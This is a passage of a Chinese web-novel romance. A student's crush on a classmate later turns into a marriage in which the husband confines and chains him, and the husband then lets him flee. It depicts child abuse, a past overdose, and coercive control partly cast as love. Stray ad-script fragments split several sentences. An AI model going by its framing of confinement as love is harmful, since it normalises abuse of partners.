他忽然明白眼前这个人的气息为何会让他想起下雨,原来是因为他们初见于雨天。月城的雨季,满地水坑,放线菌缓缓散发出泥土的气味,孤美清冷的天气,是眼前这个人递给他试卷。 因为有人栽倒四周终于静谧下来,烟花的炸裂声不合时宜响起,程荆盯住了梁景珉修长的眼睫毛,心跳乱了一个刹那,余光仿佛触及姹紫嫣红的碎落群星。 两人的鼻息撞在一起,如果程荆不是一个苍白的男生,这或许很合乎一场青春偶像剧男女主角初见的浪漫情形。 就好比烟花绽放也只有一个瞬间,两人对视的目光刹那即分。梁景珉即便是栽倒在地时也只是低声闷哼,似乎生来就不具备有失态的本能,他迅速回过神来站起身,掸了掸身上衣服的尘土,随即伸出手来要拉程荆起身。 他肩背笔直,即便只是人手一件的校服穿出来也显得与众不同,举手投足颇有些不像个十几岁的男生。他眉眼深邃,有某种夺人心魄的漂亮,容易让人忽略额前那块不显眼的淤青。 手臂上还残存有那微凉的抓握感,程荆恍惚了些许,不敢看他深邃的眉眼,更不敢伸手去抓那支伸出来的手,自己站起了身来。 他眨眨眼睛,终于开口:“不好意思……谢谢。” 梁景珉仿佛觉得有点好笑:“你究竟是要道歉还是要致谢?” 程荆感觉脸颊有些涨红,大约是不适应这样多人的逼视,不等他回答,一个微胖男生咋咋唬唬跑了过来,是方才对白里的另一个声音:“我艹,你们怎么弄的,怎么摔了?同学你摔着哪里没有?” 程荆被打断了回答,没说出话来,只摇了摇头。 他听见身侧有细言碎语赞梁景珉英俊,于是也好奇似的去瞧他的眉眼,楼道里的声控灯都因为方才这一跌而为他们明亮着,正巧这会儿暗了下去,程荆没能看清。 早秋已经起风,烟花再次亮起的时候他的眉眼流光溢彩起来,程荆僵在原地。 他看见梁景珉轻缓摇了摇头,仿佛见到什么难以置信的东西。 他略含笑着,似是讶异似是感叹,只平静地说:“你的眼睛是紫色的。” 多么简单的一句话,一切却因为烟花在远方亮起而显得与众不同起来。所以在这一个瞬间,程荆好像突然捕捉到恍若心动的东西。这只是一个瞬间,而在后来无尽岁月的消磨之中,程荆早已经将这个瞬间忘却了。 正因为如此,他后来曾多次努力思考过自己究竟是如何爱上梁景珉的,最终却没有结果,只好下一个略带遗憾的定义:爱上一个人似乎从来不是一个惊天动地的瞬间,而是一项无法左右的遗憾结局。 外头风很烈,好像有意要宣布秋天结束。程荆感觉此生每每一件事情要来临时,往往具有排山倒海之势,不可挣脱。 譬如季节更替、烟花碎裂,譬如十七岁的程荆身坠爱河,大浪拍出十米高,波涛汹涌此生未见。他无法可解,只能随波逐流。 然而愚昧的程荆并没意识到这一次下坠便使得他原本安宁的小半生灭亡。 就好像十七岁的程荆没有想到,那晚在凝着雾气的玻璃后看见的,竟会是此生见过最美的烟花。 12. 听风 严格来说,程荆再一次见到梁景珉是在高一结束的年级会上。 夏初的天像一块幕布,铺出乏善可陈却又自带浪漫色彩的季节。 家长会总是混杂着各色香水味的,像一场大型的赝品展览会,与会者为不属于他们的珍宝而洋洋自得或是自卑不满。 此时的程荆刚刚从竞赛组残酷的选拔中幸存,期末考竟然也相当运气,考了年级第一。 重点高中的年级第一通常很难卫冕,多数时候运气成分更大,程荆更多是惊讶,他的母亲却颇为喜悦,揽着他的胳膊漫步校园,笑容也比平时多,逛大观园似的。 程荆的母亲温柔优雅,见过她的人便会明白为什么程荆能养成这样知礼温和的性格。然而程荆的倔强也大多来源于她——她从未因为程荆患病而对他有所宽容,送他学竞赛、学琴、多次做眼睛手术、考重点高中……在任何一种意义上,程荆的生命都是由她而始的。 穿过校门口时,宽阔主校门外停下一辆极为气派的车,走下来的是背书包的梁景珉和他穿西装的父亲。 在此之前,程荆并不知道梁景珉的父母从未在家长会上露面过,绝大多数时候都是由陪读的家庭教师出席。 不知他因何原因拨冗出席,豪车大剌剌开到了校门口。这样大的阵仗,几乎所有路过的学生与家长都不由得为他们侧目,程荆也不例外。 然而他这次最首先注意到的竟然既不是梁景珉,也不是他那位面色冷峻的父亲,而是另一道逼视的目光。 这目光来自于降下的车窗内一个眉目阴郁的男孩。他看起来年纪稍小些,一身国际学校西式校服,和梁景珉眉眼倒有七分相像,垂下眼睫时都显得恹恹的神色,可见是亲兄弟。 然而他的眼神却全然不像十几岁的孩子,远远将程荆从头到脚打量了一番,目光顺着他的骨骼抚摸,眼神仿佛是在掂量什么极为独特的猎物。程荆被看得浑身不适,携着母亲快步离去。 他的身上也有淤青。 程荆眉头微蹙,联想起放烟花的夜晚梁景珉额前不明显的伤痕,没来由地觉得这不仅仅是巧合。 直到很久以后他也没有能够亲眼目睹梁景珉那位父亲对他的两个孩子施以暴行,只从学习委员同桌处偶然听到这桩秘闻,并在多年后凭借梁景珉赤|裸躯体上的各式疤痕得证传闻。 高二他与梁景珉正式被分到同一个班,一中每一届的一班都是竞赛生。梁景珉学的是物理,两人没在同一个组里,平时交流很少。 竞赛生的生活注定和普通学生不同,大家都很忙碌,所有存在的沟通话题都仅限于必要范围内。到了他们的层次班级老师和教练已经很难教,教练都是往届优秀的学长学姐,周测由他们自己轮流出题批改。 月城总是阴雨,一中校园不大教学楼却很密,四方的天似乎将一切困在囚牢里,短暂抬头望向天空的时候才获取刹那的自由。 寒假自习,隔壁教学楼已经走空,只剩下一班学生留守,午后刚下了雨,此刻天边隐隐泛起云霞,大有要烧起来的架势。 教室里有些嘈杂,下午的课上完,学生们结对着要去校门口取家长送的饭,不一会儿就走空了,只剩下三两个人留守教室,几个分秒必争刷题,几个要保持身材的不吃晚饭,前后桌挨着聊天。 程荆趁此机会从后门溜出去,计较着去天台看晚霞。 一中的天台不对外开放,常年落锁,这一阵子却偶然没缘由开了,程荆率先发现这个秘密,天台成为他的秘密基地。 他刚抬脚准备上楼,却被身后声音叫住:“程荆。” 他后背一僵,回头看去。 梁景珉手里提着一张写满字的稿纸,表情竟不如往日的淡漠,挂出个浅笑,道:“原来你在这里。” 程荆这时候早已意识到自己注视梁景珉时日渐灼热的目光,为了掩饰只好故作冷淡的模样。他原本就不是热忱的人,没意识到自己矫枉过正,孤高过了头,这也在日后成为一个梁景珉极其讨厌的坏习惯。 他微微抬起目光,冷淡问:“有什么事?” “这周化学组周测是你出?”梁景珉问。程荆点头。索然无味的贫瘠对白。 梁景珉:“物理组的题目出好了,数学他们提前考完了,我刚从宿思涵那里拿了生物组的题。我们约一会儿六点半去打印店复印,你时间行吗?” 周测题出好了后照惯例是每组出人一起去店子打印搬回来,叫宿思涵的女生一早请了病假,所以是程荆与梁景珉同去。 程荆记挂着屋顶的晚霞,私心更怕和梁景珉独处,思虑良久才惶然低声试探着答:“六点半我要去天台看日落,六点四十五可以吗?” 他声音不大,仿佛着意要让自己消失。可惜楼道太窄,每一点心事都无所遁形。 常人在年少轻狂时恋慕上他人,总一心一意要将对方追到手。死缠烂打也好,附庸风雅也好,总是不吝惜于费功夫的。然而程荆的思维天生与众不同。 于他而言,爱上一个人从不是意味着要他知道,只意味着要多费成倍的心力隐藏自己的心绪。他们原本不是一个世界的人,多余的感情只会让自己徒增难堪,于是他不得不端出冷漠的作态,遮盖自己愈发难以掩饰的眼神。 挂钟上秒针轻移,静谧的楼梯间中似乎能听见它咔哒咔哒的行路声。 梁景珉仿佛有点不耐烦,手中的稿纸碰撞:“你每天总去天台干什么?” 程荆心里一片嘈杂,慌乱间交代了实话:“不干什么,我就是喜欢听听风。” 梁景珉别开视线,语气仿若很轻松:“今天天气好,我也想看晚霞,你带我一起去。” 这话来得太过理所当然,程荆没能反应过来,等他回过神来时梁景珉已经上了好几级台阶,正侧身回望过来,开始变色的日光为他轮廓镀上绚烂侧影。 “你是走还是不走?” 他俯视的目光高高在上游刃有余,像在打量一切无所谓的事物。是影视片段里“够劲儿”的眼神,却也因为其中的漠然刺痛程荆的心。 晚霞自天边一路熊熊灼烧到程荆咽喉,他看梁景珉像在欣赏一株令人不安的诱人玫瑰。 程荆不是一味温和的人,他最初爱慕梁景珉的温柔和每每惊天动地的出场、却不意味着他会愿意忍耐他的任性、霸道和冷漠。 他挑眉讥讽:“你还真是不客气啊。” “天台不是你家开的,怎么偏我不能去?快点吧程荆,不然你赶不上六点半的日落了。” “六点半”三个字拖得很长,是朋友间打趣的语气。他很奇怪,时而又会流露出孩子气的一面,让人摸不透。 程荆最终还是去了,且构成了两人有史以来时间最长的一次交谈,从太阳淹没一直持续到漫长的蓝调时刻结束。 这一天他才知道梁景珉是西京人,但他母亲在月城长大,也曾经是一中的学生。 月城以竞赛成绩出挑全国闻名,是他不顾父亲反对私自报名了月城一中的自主招生竞赛考试,又翘了西京的中考,毁掉了所有退路才换来了一中的入学机 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 会。 他说他曾坐过二十一次往返西京和月城的高铁线路,每一次都可以看见沿途波光粼粼的长河。 梁景珉的极端和孤注一掷像箭击中程荆的心,但令他难以忘怀的是梁景珉诉说这些往事时的神情。 他竟然相当平静,三言两语略过了那些必然极度艰辛的历程,随意概括了结局,像是诉说着旁人身上发生的事。 他总是淡然、得体的,这种神秘感仿佛时时刻刻发射出让人难以拒绝的牵引线,蛛网一般纠缠着程荆的目光,让他极力隐藏的心事无处遁行。 程荆听完后不知道该说些什么,只好随意提问:“你刚说你妈妈是月城人,那么你现在在这里读书是她在照料你么?” 听见这话时梁景珉脚步一顿,日落时刻完全结束,他的半张侧脸浸泡在阴影里,瞳孔里有尚未燃尽的火光。 “不,她死了,”他略微偏头,很平静地说,“其实我已经快要记不清她长什么样子了。” …… 寒假很快过去,程荆没有再获得这样与梁景珉说话的机会。 随着春天到来,他们都在四处比赛,程荆自己都焦头烂额,更无暇他人。他只是略有耳闻梁景珉已经拿了CPhO的金牌,决赛省前五十进了国家集训队,保送已经板上钉钉。 他有点为他高兴,于是更加刻苦,殷殷期盼着有一日在大学校园里重逢。那时候他可以不必再像如今这样胆怯,或许他们也可以成为普通朋友,再次于某个有风和晚霞的夜晚促膝长谈。 程荆告诉自己,只要这样他就满足了。两情相悦是很难的,他这一生都不曾成为过幸运的人。 然而后来这些隐秘的高兴都转为自己没能获得保送资格的悲伤。 他吞药,洗胃,住了很久医院。原本就很差的身体继续叫嚣,抗议着程荆对自己健康和生命的漠然。 程荆觉得很痛苦,很多次以为自己撑不下来,只有看见病床前焦头烂额的父母时会觉得很愧疚。他并不想伤害他们,只是控制不住自己偶尔倾泻的绝望感。 八岁以前,他的全世界都是模糊不清的,只有将整张脸凑在课本上才能看清楚上面的文字,这是那双美丽的紫色眼睛所带给他的苦难。 后来,经历了无数次手术,他得以拥有一个差强人意的视力,开始在父母的指引下看这个世界。 十七岁那年他爱上一个男生,没有选择告诉他。他们在雨季初遇,焰火下对视,所以在躺在病床上插满各色管道、感觉自己也许快要死了的时候,程荆想,或许他还想要再见到梁景珉。 他再一次撑了下来,证明自己顽强的生命无法被击倒,可惜回到教室的时候已经不见梁景珉的踪影。 他没有痕迹地消失了,程荆曾试图询问他同组走得稍近的朋友,回答是一概不知。 直到某一天他听见班主任和其他老师闲谈提到,梁景珉的父亲坚决反对梁景珉在国内读本科,将他强制带回西京申请国外的院校。 老师的语气是失望、无奈与难以理解,大约觉得梁景珉若能成功入学京大对一中的数据很有助力,然而他临阵放弃,这些年占据的一中顶尖资源没能产出足够有效的成果。 他们聊完便兴尽而归,独留程荆僵在原地消化这场无疾而终的暗恋。 程荆在这一刻顿悟,对于一个不爱自己的人而言,一场晚霞和一次焰火的浪漫色彩不足以让他停留,廉价的浪漫是随用随丢的一次性物品。 没有告别,他人生中头一次爱的人就这样彻底消失了。 13. 逃离 “还有多久?”梁景珉第三次不耐烦地垂目看表,眉目显露出鲜少有的焦灼。 翟管家车开得快且稳,在半路上就接到了电话,称程荆果然买了离开西京的高铁票,目的地是明州,还有半个小时停止入站。 他不紧不慢答道:“还有两个红绿灯,就快了。不用担心,我们的人守在那里,他走不了的。” 即便程荆付出了那样多的心力逃脱,忍受了常人难以忍受的痛苦,一切都还是为时已晚。梁景珉的消息太灵通,他在西京手眼通天,程荆无处可逃。 程荆的计划的确严密,时间卡得很严,倘若不是翟管家提前吩咐人看住,这个时间差根本不够梁景珉将他拦在西京。 车停在入站口外,梁景珉三步并作两步下车,此刻工作人员已经候在一旁,见梁景珉下车赶忙凑到他跟前报备:“梁总,程先生在入站口,我们已经拦住了,您看要怎么处置。” 此刻旅客很多,高铁站人潮汹涌,梁景珉已经多年没有乘坐过高铁,但他依然对这里十分熟悉。隔着漫漫人海,他不费吹灰之力就看见入站口旁的程荆。 他什么也没带,套着一身灰色夹克,身侧站着两个黑西装保安似的人物,还没看见此时站在远处凝视他的梁景珉。 梁景珉深深看了程荆一眼,看见他黯淡的目光,凹陷的双颊,眉骨上渗透血迹的纱布,耳侧已经青紫的伤口,雪白的头发。 几年来,他无数次强势地锁住程荆的手脚,限制他的出行,逼迫他生活在只有自己的世界里,美其名曰为保护。这仿佛已经成为一种惯性,梁景珉已经忘记了他的执着是为了什么。 他已经追到了这里,并不打算就此放手,然而此刻,西京高铁站的穹顶透出一线橙红的落日余晖,将程荆的发丝染成金色,梁景珉忽然觉得有些动摇。 他想起三年前他不允许程荆回月城,他坐在床前哭得肝肠寸断,手腕被他强硬地锁在床头栏杆上,挣扎破了皮。 他从没见过一个人能有那样多的泪水,就像从没想到过程荆这样强硬的人能哭得这样痛苦。 他冷白如纸的冰凉侧颊犹如一方净透的薄玻璃,内里游着几尾绚丽的金鱼,他只要轻轻一捏,那玻璃便能碎了满地,金鱼在地面绝望地抽动,继而溺毙于空气间。 他忘了那时自己是什么心情,大约希望自己可以忽然掌握一项超能力,可以将程荆的痛都转移到自己的身上,仿佛折磨自己就能消弭他身上的一切痛楚。 他从来不信佛祖命运,却在那一刻诚心祈求上天。折磨他一个人就够了,不要折磨他的爱人。 可惜他也只是个有血有肉的凡人,并没有超能力。所以后来他每每看见程荆绝望黯淡的目光,那日程荆痛彻心扉的模样都会浮现在他眼前。 梁景珉回过神来,感觉自己阔别已久的理智回笼。三年过去,带给程荆痛苦的人仿佛从旁人变成了他自己。 他竟然也会变成自己最恨的模样。梁景珉苦笑。 他盯着程荆的身影,好像看了一个世纪,久到仿佛一座被石化的雕像。 身边的人都很诧异,不知道为何一个简单的注视下,梁景珉的神色竟有如此大的改变。 当所有人都以为梁景珉不会再说话时,他终于开口。 他面色灰败,合眼低声说:“放他走。” 拦住程荆的两名保镖松开了他,程荆不可置信地问了两句话,但没有得到回答。 于是他回头张望,却没从重重人群中看见梁景珉的身影。 广播催促着入站,程荆终究还是没有看见远处的梁景珉,迈过了闸机,不一会儿身影就消失在视线中。 梁景珉转身离去,总觉得每一步都仿佛行走在淤泥中,离开的路那样远,身上仿佛给夕阳浇湿,冷意森森。 无论如何,程荆虽然留给他一项莫须有的罪名和一纸冰冷的和解书,到底还是没说要离婚。梁景珉依旧是他的合法丈夫。 先前去月城,梁景珉曾以为自己会永远失去程荆,然而明州却让他安心,他在那里没有家、没有亲人,绝不会永远停留。梁景珉坚信程荆会回来的,即便这样的想法一点根据也没有。 梁景珉有些出神,没意识到一个人梁昱霖出现在他面前。 “哥哥,好巧。”梁昱霖打扮得人模狗样,颇有点小人得志的神情,大约特地前来嘲讽。 梁景珉自然不知道一切是他的阴谋,然而见到梁昱霖也是无话可说,只停了脚步,打算听他的下文。 “刚收了你的婚礼请柬,刚却见你急匆匆往高铁站来,还以为你要逃婚。” 梁昱霖的口吻一如既往的阴阳怪气,梁景珉此刻没功夫和他斗嘴,只瞟了他一眼:“你不忙着自己的事,天天盯着我,是真恨我啊,阿霖。” “别叫我阿霖。”梁昱霖的神色冷了些。 看着他的眼睛,梁景珉忽然意识到了什么。 “你知道他这次为什么要走?”梁景珉的话音里多了几丝狠意,不复刚才的漫不经心,有了隐形的逼迫。 他这才注意到梁昱霖拿着行李,不知道是要出差还是要去哪里,一时有些分辨不出来这次相遇究竟是偶然还是刻意。 “成天的怀疑我,还不如好好把心思花在疼嫂子身上,不然人家也不会天天嚷着要走了,不是么?”梁昱霖扬眉答道,没有正面回答梁景珉的问题。 他每回在背后弄些小动作被揭穿后都光明磊落的,此刻这般回答,倒更为可疑。但梁景珉近些日子焦头烂额,更不必说刚刚看着程荆离开,却没有与梁昱霖深究。 旁人不清楚他们之间的恩怨和过往,不知道手足兄弟为何反目成仇,不知道为什么梁景珉明知道翟管家和梁昱霖私下一直保持联系的同时还任由他留在身边。 只有翟振磊知道,梁景珉是在纵容他这个弟弟。 很多人以为他们不和的缘由是两人并非一母所生,然而这其实并非事实。 梁昱霖只比梁景珉小三岁,他的母亲最初以为自己走了大运才嫁入梁府,不过几个月就看清真相,费了极大的功夫才仓皇而逃,留下个年纪尚小的孩子独自求生。 他看着两兄弟长大,还记得他们儿时是如何寸步不离的亲密,在梁建中的手下长大的孩子只能相依为命。 梁景珉看似听话懂事,为人处事也和梁建中最为相像,却在十几岁 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 时不声不吭逃离了西京去往月城,自己逃脱魔窟的同时也把梁昱霖一个人留在了梁建中手下。 等到他再次回到西京时,梁昱霖已经变得冷淡阴郁,几乎完全成为了梁建中的翻版。 梁昱霖已经被母亲抛弃,紧接着是自己的哥哥。他怨恨自己的父亲,怨恨自己的命运,而他最怨恨的,还是亲手将他抛弃的梁景珉。 梁景珉那时还不够强大,只能暂时丢下弟弟,期望着在不远的将来能够回去救他。只是没有预料到他腐烂的速度会如此之快。 梁昱霖不知道梁景珉那时自身难保,早已在崩溃的边缘挣扎许久,月城的机会是他仅有的求生之索。 所以,当他终于能够自己立足后,便开始不遗余力地给梁景珉找茬,梁景珉心有愧疚,多数时候都在纵容他。或许他不会承认,但他依旧爱着那个年幼的阿霖,那个他宁愿自己挨打也要护住的天使,他们的感情曾是梁景珉生命中唯一的亮色。 梁景珉看了梁昱霖一眼,实在不知道还有什么话可以和他说,径直离去了。 只剩下梁昱霖在身后疯疯癫癫地挥手告别:“慢走啊!” 梁景珉忍无可忍地坐回了车内,由管家开着扬长而去。 “我多嘴问一句,都已经把他扣下了,为什么还要放他走呢?”管家不解地问。 梁景珉在手机上飞快回着工作消息,似乎毫不在乎,只漫不经心道:“他想走便随他去吧,上回不是没抓过,还不是又跑了么?” 管家:“怪我多说一句,您既然爱他,就不应该让他离开。” 听见这句话,梁景珉抬头看了翟管家一眼。 他的眼神很平静,仿佛无机质一般盯着翟管家的后脑:“翟叔,你最近话很多。” 在翟管家看不见的视觉盲区里,梁景珉的眼神陡然森冷起来。 他忽然又郑重道:“做这份工作,话多不是好事。” 梁景珉平静的时候反而最有压迫感,翟管家点头道是,不敢再吱声了。 梁景珉警告完管家,却回想起他说的话来——“您既然爱他”。 联想起程荆曾问他的,问为什么世界上这么多人,偏要选择折磨他。 看着窗外浮动的夕阳,似乎今日西京又要迎来一场世纪火烧云。梁景珉还记得一切的开始。 仿佛是一次寒假自习,竞赛组要出卷子打印,他那周负责出物理组的卷子,打算跑打印店复印题目,顺道找化学组负责出题的程荆约时间。 那天天气很好,月城少有晚霞,这日却大有要现身的概率。梁景珉问可否约六点半去打印店,程荆声音很低,只回答说:“六点半我要去天台看日落,六点四十五可以吗?” 鬼使神差的,梁景珉问:“你总是去天台干什么?” 话出口时他有点后悔——他们不过点头之交,他本不该知道程荆常常去天台的事实。然而对话时程荆似乎有些心不在焉,并没有太关注细节。 程荆望向窗外时略微皱了皱眉头,眼睛里倒映出绚烂的天空,答道:“不干什么,我就是喜欢听听风。” 于是梁景珉也就很理所当然地喜欢上了那个听风的程荆。 14. 请柬 程荆住在明州第一医院附近的酒店里,已经是第十天。 当日去月城的高铁票售罄,他不得已转而选了离得不远的明州。 期间程荆给父母发了很多短信,却没有得到回复,想来他们很忙。身上自己造就的伤口尚需愈合时间,他又怕他们看见痕迹担心害怕,所以计划先养着伤,等好全了再回月城。 从前在别墅憋了太久,他不肯一个人待在逼仄的房间里。除却每日去医院换药,他便在陌生的城市街头四处观光。 酒店离医院很近,来来去去大多是身患疾病的人,他们被阴云笼罩,程荆却过得如鱼得水,在医院他不再因为自己的外表时时获得侧目,各人有各人需要担忧的病症,他躲在其中几乎隐形。 “程荆?” 一医院南门门口的扶梯上,程荆听见自己的名字,条件反射般诧异回头。 是一个陌生的男人,身量很高、面容英俊、打扮齐整,鼻梁上一架银框眼镜。 程荆没看出来是谁,正待走近些看清他是谁,这人却抢先一步走上前来:“我是裴羲!你不记得了?” 程荆的记忆陡然回笼,他神情略微惊讶:“裴羲,你是……” 高一同班的学习委员,两人曾坐过一学期同桌。他原来是个清瘦的四眼仔,如今成了玉树临风的白领精英。故人重逢怎会如此巧合,相遇在毫无交集的陌生城市的随机医院内。 这个世界荒谬而疯狂,程荆来到从未涉足的土地想要忘记往事,却偏偏遇见一个一颦一笑都直指那段岁月的故人。 即便内心抗拒,程荆依旧笑得从容得体:“多少年没见了!” “高中毕业就没见了,真巧。”裴羲并步站到程荆身边:“你怎么会来明州?” 不过是偶遇,擦肩而过,程荆自然没打算说实话。 “我刚来没几天,休年假来旅游,”他指指额前的纱布掩盖住的伤口,“前两天平地摔一跤,还挺严重,所以来看医生。你呢,怎么在明州?” “我毕业后在这边工作,”他说出个很有名气的头部互联网公司,“爸爸最近身体不好,在住院部那边,我刚送完饭。你呢,在哪里工作?” “我在西京。”程荆不愿多说,显露出要走的形容,裴羲的眼神让他不舒服,他没来由想到梁景珉。 “你什么时候回去?”裴羲却很热心的模样,“好不容易见一面,总得一起吃顿饭吧!” 他问得太多,却出乎意料地不惹人讨厌,语气拿捏得恰到好处,是遇见老同学的热切,却又不过于急切。 这样让人舒服的态度,倒让程荆不好拒绝了。 他和裴羲从前关系也相当好,不过分班后见面少了,只偶尔走廊上碰见还能打个招呼,毕业后彻底没了联系。 他沉默地点点头,终于还是没说出拒绝的话:“我和同事们一起来的,他们工作忙先回去了,正好有空,不如就约今天?” 这是工作日,裴羲看起来不像工作清闲的样子,他等着将难题推给对方,谁知出乎所料,裴羲点头道:“好呀,我们正好去吃家乡菜,我请客。” 于是两人一同并排走出了医院。 这一阵子真是太奇妙,他前脚回月城才遇上林殊珩,这下又偶遇裴羲,简直像是被高中往事缠住。程荆说着这些经历,笑着说:“你们变化都好大,第一眼都认不出。” “认出你可太容易了程荆,几百米开外人群里,也是头一个看见你。”裴羲温和地笑着,眼睛里有光,似乎和程荆说话是很让人愉快的事情。 多年不见的同学之间通常很有隔阂,但和裴羲交流却不让人有这类感受,除却刚见面的几句连环问,他没再问程荆他的事情,只平静说着几年近况。 工作稳定,生活平稳,家庭幸福,和女友前年和平分手,当时已经谈婚论嫁,有些可惜,所以至今独身。 他说话的模样和从前一样,程荆还记得学生时代他就不似同龄男生那样咋咋唬唬,是那类总能得到班主任偏爱的学生,永远从容冷静。 程荆听后温和打趣:“你这么优秀的人怎么会缺对象?把一百个你扔进求偶市场,不过几分钟都被抢购一空了。” 听完这句话裴羲笑出了声:“谢谢你啊。” 就这样,程荆和裴羲再次成了朋友。 一同做的无非是朋友之间做的事情,一同打游戏、一同相约去羽毛球场,抽时间一起吃饭,结伴去医院——他看父亲、程荆换药。 裴羲总是从容得体,也没过问程荆为何一直没有回西京,程荆似乎也从没想着解释。他没有工作,一直住酒店,账单日益拔高,花钱也大手大脚,裴羲似乎总没怀疑过,从不逾越边界。 自从察觉到程荆对于谈论往事的抗拒后他再也没提过高中的事情,即便如此,两人也不缺聊天话题。裴羲是完美的朋友。 直到程荆的伤口已经看不出来痕迹,西京已经下过好几场大雪,穿过明州的长河冰雪初融,裴羲接到了一封婚礼请柬。 程荆此时比初来明州话多,很自如地在他餐桌对面坐下:“你们月中下班确实早,竟然比我先到了。” 裴羲笑道:“是的,难道你才发现?前一阵子加班加得我头疼了。” 寒暄几句后他忽然问起:“程荆,你还记得梁景珉吗?” 程荆的脊背肉眼可见僵硬了一下,他呼吸节奏乱了,故作冷静低声问:“记得,我们后来同班。怎么?” “我们原来都是物理组的,一直有微信,从没说过话,但你敢相信吗?他今天上午给我发了他的婚礼请柬。”裴羲的语气很平常,他对程荆和梁景珉的关系毫不知情,只把这件事当作个稀奇遭遇分享。 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 程荆没有回答,喉结滚动,却半点声音也发不出来。 “他给你发了吗?”裴羲似乎没注意到程荆的反常,只继续笑道,“这也太奇怪了,是缺我的份子钱还是怎么着?我还没回呢。” 程荆摇头,眼神飘忽不定:“没给我发,我们没有微信。” 此时,程荆的手机震动,收到一条消息,是林殊珩。 没有文字,只有一张截图,对面是备注“梁景珉”的联系人,空荡聊天框里只有对方的一条信息,也是婚礼邀请。 他竟然把邀请就这样堂而皇之发遍了高中朋友圈,而林殊珩当年还曾参与他们的婚礼。 程荆觉得可笑,大脑一片混沌,语言未经大脑,问裴羲道:“那你会去吗?” “我当然不会,”裴羲笑道,“我正愁怎么拒绝呢,我哪里有空去西京?更何况和他那么多年没联系。” “我能看看吗?”程荆很平静地问,从裴羲手里拿来手机。 消息很简单,一段复制粘贴的邀请语,与林殊珩收到的如出一辙。 另外还有一个小程序,点开后有音乐,封面是一张写真,新郎新娘各站在一侧,仿佛不熟。小程序里写了地点,程荆看一眼便记住。 他递回了手机,反应很合乎寻常:“很登对,新娘真漂亮。” “怎么了,程荆,你脸色很白,又不舒服吗?”裴羲皱起眉头来,这并非作伪的关切。 他伸出手来要探程荆的额头,被程荆躲过去了。 上半月程荆曾着了凉生病,一个人在酒店烧到40度起不来床,还是裴羲强硬地要求程荆才终于去医院看了医生,之后养病住进了裴羲家,这几日刚大好。 他加班加得不分日夜仍要看着程荆喝水吃药,程荆感激的同时其实很有些愧疚。 程荆道:“没有,哪有脸色不好?” 相处几个月,对于裴羲的感情,程荆也并非毫不知情。 他从前是很迟钝的人,这些年学聪明许多,裴羲对他的好逾越了正常朋友的限度,明显到迟钝如程荆也看出端倪。 从小到大,他从来都是同龄人中的异类,从未应对过这类感情,自以为装作不知便是万能答案,将一切粉饰太平。 像是努力想把某些情绪排除大脑,程荆急切想转变话题,仍旧不可避免有些慌乱,他垂目道:“我好全了,也该搬出去。”他没提回西京,大概这个初见时拙劣的谎言没有继续下去的必要了。 裴羲皱眉,幅度很轻微,不会让别人感受到他的情绪:“好,但如果只是感觉叨扰,你完全不用有负担。” 程荆笑得很勉强:“这些日子,的确真是麻烦你良多。” 不等听见裴羲答言,手机“嗡”地震动,是林殊珩发来新消息: “程荆,千万别回西京。” 15. 婚礼 程荆心里一沉,仿佛丧钟轰鸣,他逃避似的关闭手机,不愿看她接下来的话。 他抬头望向裴羲,眼神很专注,仿佛十分感兴趣他接下来要说的话一般。 裴羲笑着垂目摇头:“程荆,你的手机在震动。” 程荆目不转睛抬手按下了静音键。 “程荆,别这样,”裴羲的目光迟缓地在他面部游走,带点不舍,温声道,“你如果再这样,我真要不许你走了。” 程荆见他明白,愧疚道:“对不起,裴羲。你一直都是一个特别好的朋友。” “你不用道歉。” “不,对不起。”程荆执意要说下去。 “独身、旅游,这些我通通都是骗你的,我感觉你有猜到,只是不肯拆穿我。” 程荆惊讶地发现裴羲的双目仿佛浅灰色的湖泊,像是混杂着蜻蜓倒影,这是落雨前的征兆。 他轻声含笑:“我的确猜到你没有在工作,来明州也不像有计划的出行。你没什么行李,成日住酒店,花钱像是花假|钞。” 他顿了顿,声音不着分寸低了些:“可我没猜到你不是独身,请原谅我。” 不是他的错。程荆盯着裴羲的侧脸,忽然觉得很心痛,像是透过他人的皮囊看见自己的心迹,隔空在照镜子。 他和自己一样,都是愚昧又爱而不得的可怜人。捧出自己的心也无济于事,高高在上的对方是不会在乎的,不爱就是不爱。 程荆明白裴羲无意以自己的感情打扰他,他从未表白,只是默默关照他。或许一切还要开始得更早一些,只是他从未发现踪迹。 在这一刻程荆悲伤地意识到自己永远无法回应他的感情,倘若他不曾遇见过梁景珉,倘若他从未体会过某种不容拒绝的感情,倘若他不曾将自己的手交由另一个人套上枷锁般钻戒,他会愿意试一试,或许给面前心碎的人一个吻。 然而这些都不可能改变了,他注定像现在一样,扮演一个自己厌恶的冷酷的人,对真心置若罔闻,将不回应当作拒绝。 他忽然意识到自己或许并不享受裴羲这样泾渭分明、礼貌与斟酌多于激情的爱。 如果可以,他要疯狂肆无忌惮的爱,要至死不渝,要非他不可。 事实是,梁景珉像是一场足以焚烧一切的诸神黄昏,毁天灭地闯入程荆的世界,毁掉了他人生中所有其他的可能性。 所以他注定被这支离破碎的荒谬爱情支配,沉沦溺毙于火焰和灰烬中,永远笼罩在那场未燃尽焰火的阴云下,再无法欣赏到其他风景。 他有离开梁景珉的决心,有恨他的勇气,却没法忘记他,没办法控制自己不爱他。 “没关系,”程荆笑着说,“只是我可能要离开一段时间了。” “你要去哪里?” “其实我也不知道,”程荆拧眉苦笑,“刚刚提到的梁景珉,很遗憾,他曾是我丈夫。我想如果他要结婚,我该到现场观礼。” 他从椅背上捞起刚刚脱下的外套,头也不回地离开了。 早春的风尚带足了寒意,程荆没穿好外套就闯入了寒风中,按开手机,是长长一串林殊珩愤怒的警告。 明州这些日子里程荆无所事事,刷朋友圈很勤,总第一个给她点赞。他从没觉得这举动不合常理,她却相当惊讶,和他聊过几次天,是以又有了联系。 “程荆,你知道这是个陷阱,他把结婚的消息发遍了现在毫无交集的高中同学圈,就是等着你撞上去。” “……” “你再回西京就再也逃不掉了,别忘掉你费了多少功夫才离开他!” 最末,她再次强调:“程荆,千万别回西京。” 